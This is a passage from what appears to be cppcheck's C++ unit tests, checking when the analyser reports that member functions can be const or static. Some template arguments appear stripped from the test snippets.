{\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n }\n\n void const73() {\n checkConst(\"struct A {\\n\"\n \" int* operator[](int i);\\n\"\n \" const int* operator[](int i) const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j) {\\n\"\n \" int* p = a[j];\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10758\n \" T* h;\\n\"\n \" void f(); \\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" char* c = h->x[y];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const74() { // #10671\n checkConst(\"class A {\\n\"\n \" std::vector m_str;\\n\"\n \"public:\\n\"\n \" A() {}\\n\"\n \" void bar(void) {\\n\"\n \" for(std::vector::const_iterator it = m_str.begin(); it != m_str.end(); ++it) {;}\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'A::bar' can be const. [functionConst]\\n\", errout_str());\n\n // Don't crash\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (std::vector::const_iterator it = v.begin(), end = v.end(); it != end; ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const75() { // #10065\n checkConst(\"namespace N { int i = 0; }\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int i = 0;\\n\"\n \"struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (::i) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace N {\\n\"\n \" struct S {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n \" if (N::S::i) {}\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style, inconclusive) Technically the member function 'N::S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const76() { // #10825\n checkConst(\"struct S {\\n\"\n \" enum E {};\\n\"\n \" void f(const T* t);\\n\"\n \" E e;\\n\"\n \"};\\n\"\n \"struct T { void e(); };\\n\"\n \"void S::f(const T* t) {\\n\"\n \" const_cast(t)->e();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:9]: (performance, inconclusive) Technically the member function 'S::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const77() {\n checkConst(\"template \\n\" // #10307\n \"struct S {\\n\"\n \" std::vector const* f() const { return p; }\\n\"\n \" std::vector const* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10311\n \" std::vector v;\\n\"\n \" std::vector& f() { return v; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const78() { // #10315\n checkConst(\"struct S {\\n\"\n \" typedef void(S::* F)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" using F = void(S::*)();\\n\"\n \" void g(F f);\\n\"\n \"};\\n\"\n \"void S::g(F f) {\\n\"\n \" (this->*f)();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const79() { // #9861\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" char* f() {\\n\"\n \" return nullptr;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const80() { // #11328\n checkConst(\"struct B { static void b(); };\\n\"\n \"struct S : B {\\n\"\n \" static void f() {}\\n\"\n \" void g() const;\\n\"\n \" void h();\\n\"\n \" void k();\\n\"\n \" void m();\\n\"\n \" void n();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::g() const {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::h() {\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::k() {\\n\"\n \" if (i)\\n\"\n \" this->f();\\n\"\n \"}\\n\"\n \"void S::m() {\\n\"\n \" this->B::b();\\n\"\n \"}\\n\"\n \"void S::n() {\\n\"\n \" this->h();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:11:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:14:9]: (performance, inconclusive) Technically the member function 'S::h' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:17:9]: (style, inconclusive) Technically the member function 'S::k' can be const. [functionConst]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:21:9]: (performance, inconclusive) Technically the member function 'S::m' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const81() {\n checkConst(\"struct A {\\n\" // #11330\n \" bool f() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::shared_ptr a;\\n\"\n \" void g() {\\n\"\n \" if (a->f()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\" // #11499\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:11:8]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(void*) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \" P& operator=(P) {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" std::vector g() { p->f(nullptr); return {}; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:14:20]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const 